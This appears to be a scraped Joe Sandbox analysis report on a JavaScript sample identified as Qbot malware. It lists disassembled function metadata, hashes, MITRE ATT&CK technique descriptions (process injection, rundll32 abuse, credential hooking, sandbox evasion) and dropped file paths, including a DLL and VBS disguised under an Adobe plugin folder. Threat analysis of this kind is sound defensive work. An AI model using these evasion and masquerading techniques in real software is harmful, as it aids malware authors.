lgetLocalizer@Engine@ScScript@@QBEPBVLocalizer@ScCore@@XZ.MAIN ref: 10014D4E
lgetLocalizer@Engine@ScScript@@QBEPBVLocalizer@ScCore@@XZ.MAIN ref: 10014D59

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Localizer@$Context@$Core@@Engine@V12@lgetlget@
String ID:
API String ID: 390313264-0
Opcode ID: 4706c04922f75ac9104b6935026911f67efd7b732c4535044d6d51b1def79d1a
Instruction ID: b4a5f364295f2a679cc39571ae7950aed48e5ac0925b60cade34e064326ffdaf
Opcode Fuzzy Hash: 4706c04922f75ac9104b6935026911f67efd7b732c4535044d6d51b1def79d1a
Instruction Fuzzy Hash: EC2192756007019FE704DF66D884B5AFBE9FF85294F02852AE94A8B310DB70F940CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1001A140 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 350COMMON

Download Yara Rule

APIs

lcompile@ScriptContainer@ScScript@@QAEHABVString@ScCore@@0@Z.MAIN(00000000,00000000), ref: 1001A376

Strings

jsx, xrefs: 1001A470

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Container@Core@@0@ScriptScript@@String@lcompile@
String ID: jsx
API String ID: 1200972332-3771548895
Opcode ID: 70eb3b78fcced85434a55a17496082d52fa0c1cfb8c820013e954db37c7b9c5e
Instruction ID: 2b13598cb0f8a8bb12ef7dad18d5b2213f44b93ff3db4ae7f3ea40f740e82fc1
Opcode Fuzzy Hash: 70eb3b78fcced85434a55a17496082d52fa0c1cfb8c820013e954db37c7b9c5e
Instruction Fuzzy Hash: 3DE1833550025AEFDB04DFA5CC98BED7BB5FF5A310F044048E916A7291DBB4AA88CF61

Uniqueness

Uniqueness Score: -1.00%

Function 10002A30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(00000010,?), ref: 10002AB3
ladd@DataPool@ScScript@@QAEHPBG@Z.MAIN(00000000), ref: 10002B82

Strings

arg%ld, xrefs: 10002B67

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DataPool@Script@@$Core@@String@Symbol@ladd@lget
String ID: arg%ld
API String ID: 2362473782-3935831208
Opcode ID: fe5025173c48940e42823810babf6f5d08b8c3c948953fded6d80f36634c4b60
Instruction ID: b27aaf889c4b7928bb6849bffcc9ba5d3f9bc92eef0485070cda7769f87f9039
Opcode Fuzzy Hash: fe5025173c48940e42823810babf6f5d08b8c3c948953fded6d80f36634c4b60
Instruction Fuzzy Hash: 10519C70500345DFEB24DF65C888B9EBBF4FB0A340F108A6DE94A87251DB74AA48CF91

Uniqueness

Uniqueness Score: -1.00%

Function 10037C50 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10037CB0
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?), ref: 10037D8A

Strings

SCOPE:, xrefs: 10037C85

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Core@@DataPool@Script@@String@Symbol@lget
String ID: SCOPE:
API String ID: 1311809857-3225615690
Opcode ID: 551f488b670468a2bbc6ad19bb987d43d955ff9fa0c96d4c64299542d325c71f
Instruction ID: c6dd166ac48dc19e314badef514705282432b051c566ec2d80334824639be3ac
Opcode Fuzzy Hash: 551f488b670468a2bbc6ad19bb987d43d955ff9fa0c96d4c64299542d325c71f
Instruction Fuzzy Hash: 20518E71A0011ADFEB05EF99C898BBEB7BAFF49701F104049E5069B391CBB85A41CF61

Uniqueness

Uniqueness Score: -1.00%

Function 10056570 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

lgetVersion@Engine@ScScript@@SAHXZ.MAIN(?,10055E3A,10068A1D,000000FF,?,1005BB88), ref: 100565CC

Strings

(debug), xrefs: 100565D5
4.6.1, xrefs: 100565B1

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Engine@Script@@Version@lget
String ID: (debug)$4.6.1
API String ID: 1847757018-3793117935
Opcode ID: 432850be3050d731016bc769c64f38adb5a64d72e71c615d34642452ef5a7c7f
Instruction ID: cbec8b552882a7b572ee7d4ada92ac21e3b39990be5b39c56ebf5a69f59ba877
Opcode Fuzzy Hash: 432850be3050d731016bc769c64f38adb5a64d72e71c615d34642452ef5a7c7f
Instruction Fuzzy Hash: CB018671604528ABEB01DF54CD44BAD77B9FB09720F10425AF915D73C0DBB55A008B80

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Data loss prevention, File monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ProjectFunding_450726_Jun01.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Qbot

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\4fa97f.rbs

C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll

C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\notify.vbs

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\national[1].htm

C:\Windows\Installer\4fa980.msi

C:\Windows\Installer\MSI319E.tmp

C:\Windows\Installer\MSIAA1B.tmp

C:\Windows\Installer\inprogressinstallinfo.ipi

C:\Windows\Temp\~DF22471B5A50AA2E97.TMP

C:\Windows\Temp\~DF2A70DF5CEC56BF5D.TMP

C:\Windows\Temp\~DF6E755A35FD255ACB.TMP

C:\Windows\Temp\~DF79B335FA0EB48BA5.TMP

C:\Windows\Temp\~DF8619ED3253D39042.TMP

C:\Windows\Temp\~DF883F1083607F70C3.TMP

C:\Windows\Temp\~DF95BD744A4429F4FF.TMP

Windows Analysis Report
ProjectFunding_450726_Jun01.js

Function 10037700 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 207
memoryCOMMON

Function 10037490 Relevance: 3.1, APIs: 2, Instructions: 124
memoryCOMMON

Function 10037480 Relevance: 3.1, APIs: 2, Instructions: 120
memoryCOMMON

Function 100374A0 Relevance: 3.1, APIs: 2, Instructions: 110
memoryCOMMON

Function 100374B0 Relevance: 3.1, APIs: 2, Instructions: 103
memoryCOMMON

Function 10059B40 Relevance: 138.6, Strings: 109, Instructions: 2398
COMMON

Function 100559A0 Relevance: 29.9, APIs: 3, Strings: 14, Instructions: 152
COMMON

Function 1005C09A Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre